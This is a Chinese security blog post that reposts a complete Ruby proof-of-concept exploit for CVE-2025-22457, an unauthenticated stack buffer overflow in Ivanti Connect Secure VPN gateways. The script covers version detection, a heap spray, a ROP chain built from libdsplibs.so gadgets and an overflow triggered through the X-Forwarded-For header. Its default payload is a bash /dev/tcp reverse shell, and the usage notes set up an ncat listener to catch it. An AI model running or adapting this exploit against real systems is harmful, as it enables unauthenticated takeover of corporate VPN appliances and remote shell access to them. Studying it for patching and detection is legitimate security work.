CVE-2025-22457:基于堆栈的远程缓冲区溢出的POC验证脚本
CVE-2025-22457:基于堆栈的远程缓冲区溢出的POC验证脚本
原创 z1 Z1sec 2025-04-21 05:19
免责声明:
由于传播、利用本公众号Z1sec所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
CVE-2025-22457介绍:
基于堆栈的远程缓冲区溢出,影响 Ivanti Connect Secure、Pulse Connect Secure、Ivanti Policy Secure 和 ZTA 网关。
POC地址:
https://github.com/sfewer-r7/CVE-2025-22457
可以针对易受攻击的 Ivanti Connect Secure 版本 22.7r2.4 运行此脚本,如下所示:
脚本内容:
# PoC for CVE-2025-22457 - Ivanti Connect Secure unauthenticated RCE## Usage:## First start a netcat listener to catch the reverse shell:# ncat -lnvkp 4444# The run the exploit against a target:# ruby CVE-2025-22457.rb -t TARGET_IP -p 443 --lhost NCAT_IP --lport 4444## Stephen Fewer (Rapid7) - April 9, 2025.require 'socket'require 'openssl'require 'httparty'require 'optparse'HTTParty::Basement.default_options.update(verify: false)def log(txt) $stdout.puts("[#{Time.now}] #{txt}")end# https://github.com/BishopFox/CVE-2025-0282-check/blob/main/scan-cve-2025-0282.py#L6def get_productversion(options) res = HTTParty.get("#{options[:target_scheme]}://#{options[:target_ip]}:#{options[:target_port]}/dana-na/auth/url_admin/welcome.cgi?type=inter") return nil unless res&.code == 200 m = res.body.match(/name="productversion"\s+value="(\d+.\d+.\d+.\d+)"/i) return nil unless m&.length == 2 m[1]enddef send_http_data(options, data, verbose = false, read = true) s = TCPSocket.open(options[:target_ip], options[:target_port]) if options[:target_scheme] == 'https' ctx = OpenSSL::SSL::SSLContext.new ctx.set_params(verify_mode: OpenSSL::SSL::VERIFY_NONE) s = OpenSSL::SSL::SSLSocket.new(s, ctx).tap do |socket| socket.sync_close = true socket.connect end end s.write(data) return [nil, s] unless read result = '' content_length = 0 while line = s.gets p line if verbose m = line.match(/content-length: (\d+)\r\n/i) content_length = m[1].to_i if m result << line next unless line == "\r\n" && content_length break if content_length <= 0 content = s.read(content_length) p content if verbose result << content break end [result, s]enddef hax(options) log "[+] Targeting #{options[:target_scheme]}://#{options[:target_ip]}:#{options[:target_port]}/" log "[+] Payload: #{options[:payload]}" productversion = get_productversion(options) if productversion.nil? log "[-] Could not get product version for #{options[:target_ip]}:#{options[:target_port]}" return end log "[+] Detected version #{productversion}" # NOTE: All gadgets are from /home/lib/libdsplibs.so targets = { # 22.7r2.4 b3597 (libdsplibs.so sha1: f31a3cc442df5178b37ea539ff418fec9bf3404f) '22.7.2.3597' => { overflow_length: 622, # 0x0050c7e6: mov esp, ebp; pop ebp; ret; gadget_mov_esp_ebp_pop_ret: 0x0050c7e6, offset_to_got_plt: 0x0157c000, # 0x00033222: pop ebx; ret; gadget_pop_ebx_ret: 0x00033222, # .text:F6D7131F mov [esp], edi # .text:F6D71322 call __ZN5DSSys18isInterfaceEnabledEPKc gadget_call_system: 0x0087E31F } } target = targets[productversion] throw "No target for #{productversion}" unless target log '[+] Starting...' # with 9 bits of entroy, we should guess corectly every ~512 attempts. 0.upto(1024) do |attempt| # XXX: we have to brute force this. libdsplibs_base = options[:libdsplibs] || (0xf6400000 + (attempt % 512)) log "[+] Attempt #{attempt}, trying libdsplibs.so @ 0x#{libdsplibs_base.to_s(16)}" log ' Making connections...' spray_socks = [] lock = Mutex.new threads = [] 0.upto(options[:max_threads]) do threads << Thread.new do while true begin break unless lock.synchronize do spray_socks.length < ((1024 - 256) * options[:web_children]) end body = "GET / HTTP/1.1\r\n" body << "Host: #{options[:target_ip]}:#{options[:target_port]}\r\n" body << "User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty\r\n" body << "Content-Type: EAP\r\n" body << "Upgrade: IF-T/TLS 1.0\r\n" body << "Content-Length: 0\r\n" body << "\r\n" res, s = send_http_data(options, body, false, true) throw 'bad response1' unless res.include? '101 Switching Protocols' lock.synchronize do spray_socks << s end rescue StandardError log "[-] Exception: #{$!}" end end end end threads.each do |t| t.join end log ' Spraying...' shell_cmd = "a;#{options[:payload]} # " shell_cmd += "\x00" shell_cmd += 'B' while shell_cmd.length < 128 throw 'shell_cmd should be 128 bytes' unless shell_cmd.length == 128 spray_pattern = [ 0xCAFEF00D, # 0x39393918: 0xCAFEF01D, # 0x3939391C: 0xCAFEF02D, # 0x39393920: 0xCAFEF03D, # 0x39393924: libdsplibs_base + target[:gadget_mov_esp_ebp_pop_ret], # 0x39393928: <--- initial eip control, stack pivot gadget. 0x39393928 - 0x10, # 0x3939392C: 0xCAFEF06D, # 0x39393930: <--- 0x39393930 points here @ ebp (rop: pop ebp) libdsplibs_base + target[:gadget_pop_ebx_ret], # 0x39393934: libdsplibs_base + target[:offset_to_got_plt], # 0x39393938: <--- eax (rop pop ebx) libdsplibs_base + target[:gadget_call_system], # 0x3939393C: 0xCAFEF0AD, # 0x39393940: 0xCAFEF0BD, # 0x39393944: 0xCAFEF0CD, # 0x39393948: 0xCAFEF0DD, # 0x3939394C: 0xCAFEF0ED, # 0x39393950: 0xCAFEF0FD, # 0x39393954: 0xCAFEF10D, # 0x39393958: 0x3939392C, # 0x3939395C: <--- 0x39393930+0x2c ->> edx 0x3939392C 0xCAFEF12D, # 0x39393960: 0xCAFEF13D, # 0x39393964: 0x39393998, # 0x39393968: <--- ptr to shell_cmd, referenced @ edi 0xCAFEF15D, # 0x3939396C: 0xCAFEF16D, # 0x39393970: 0xCAFEF17D, # 0x39393974: 0xCAFEF18D, # 0x39393978: 0xCAFEF19D, # 0x3939397C: 0xCAFEF1AD, # 0x39393980: 0xCAFEF1BD, # 0x39393984: 0xCAFEF1CD, # 0x39393988: 0x41414141, # 0x3939398C: <--- last EIP after payload exits. 0xCAFEF1ED, # 0x39393990: 0x00000000 # 0x39393994: 0x39393930+0x64, this is ctx->max_headers and lets us bail out of the headers loop early. # 0x39393998: shell_cmd @ edi ].pack('V*') + shell_cmd throw 'spray_pattern should be 256 bytes' unless spray_pattern.length == 256 heap_buffer = spray_pattern * ((1024 * 1024 * 3) / spray_pattern.length) ift_body = [ 0x00005597, # VENDOR_TCG 0x00000001, # IFT_VERSION_REQUEST heap_buffer.length + 16 + 1, 0 # seq id ].pack('NNNN') + heap_buffer spray_idx = 0 0.upto(options[:max_threads]) do threads << Thread.new do while true begin s = lock.synchronize do s = spray_socks[spray_idx] spray_idx += 1 s end break if s.nil? s.write(ift_body) rescue StandardError p "[-] exception: #{$!}" end end end end threads.each do |t| t.join end log ' Triggering...' buffer = '1' * target[:overflow_length] buffer += [ 0x31313131, # ebx 0x32323232, # esi 0x33333333, # edi 0x34343434, # ebp 0x35353535, # eip (but we dont get control here) 0x39393930 # [ebp+8] -> a1 -> heap spray ].pack('V*') throw 'bad chars in buffer, only 0123456789. allowed' unless buffer.scan(/^[\d.]+$/).any? body = "GET / HTTP/1.1\r\n" body << "X-Forwarded-For: #{buffer}\r\n" body << "\r\n" 0.upto(options[:web_children]) do |attempt| log " #{attempt}" send_http_data(options, body, true) rescue StandardError log "[-] Exception: #{$!}" end # if we have failed, give the target a few seconds to respawn the web binary before we try again. sleep(5) end log '[+] Finished.'endoptions = { target_scheme: 'https', target_ip: nil, target_port: 443, local_ip: nil, local_port: 4444, payload: 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1', max_threads: 32, web_children: 4, libdsplibs: nil}OptionParser.new do |opts| opts.banner = 'Usage: CVE-2025-22457.rb [options]' opts.on('-s', '--scheme=https', 'http or https (Default: https)') do |v| options[:target_scheme] = v.downcase end opts.on('-t', '--rhost=IP', 'Remote IP of target') do |v| options[:target_ip] = v end opts.on('-p', '--rport=PORT', 'Remote port of target (Default: 443)') do |v| options[:target_port] = v.to_i end opts.on('--lhost=IP', 'Local IP for reverse shell') do |v| options[:payload].gsub!('LHOST', v) end opts.on('--lport=PORT', 'Local port for reverse shell (Default: 4444)') do |v| options[:payload].gsub!('LPORT', v) end opts.on('-c', '--cmd=CMD', 'Payload Command (Defaults to a reverse shell)') do |v| options[:payload] = v end opts.on('-k', '--max_threads=COUNT', 'Max threads to use when spraying (Default: 32)') do |v| options[:max_threads] = v.to_i end # Depending on the underlying hardware, the number of CPUs available to the appliance will dictate # the number of child processes the /home/bin/web binary will spawn. As all incoming HTTPS requests # will be distributed between these children, we need to account for this and perform the heap spray # enough times for all child processes. We need to do this as when we trigger the vulnerability, we # cannot know what child process we will trigger it in. So we need the heap spray to be present in # every child process. # 1 vCPU - 1 web process, no children # 2 vCPU - 1 web parent, 2 children # 4 vCPU - 1 web parent, 4 children # 8 vCPU - 1 web parent, 8 children opts.on('--web_children=COUNT', 'The number of /home/bin/web child processes (Default: 4)') do |v| options[:web_children] = v.to_i end opts.on('--libdsplibs=ADDRESS', 'Base address of libdsplibs (e.g. 0xf6486000)') do |v| options[:libdsplibs] = v.to_i(16) endend.parse!throw 'set target IP via -t argument' unless options[:target_ip]throw 'set payload local IP via --lhost argument' if options[:payload].include? 'LHOST'throw 'set payload local port via --lport argument' if options[:payload].include? 'LPORT'throw 'payload cannot be empty' if options[:payload].empty?throw 'payload is too large, must be <= 122 chars' if options[:payload].length > 122hax(options)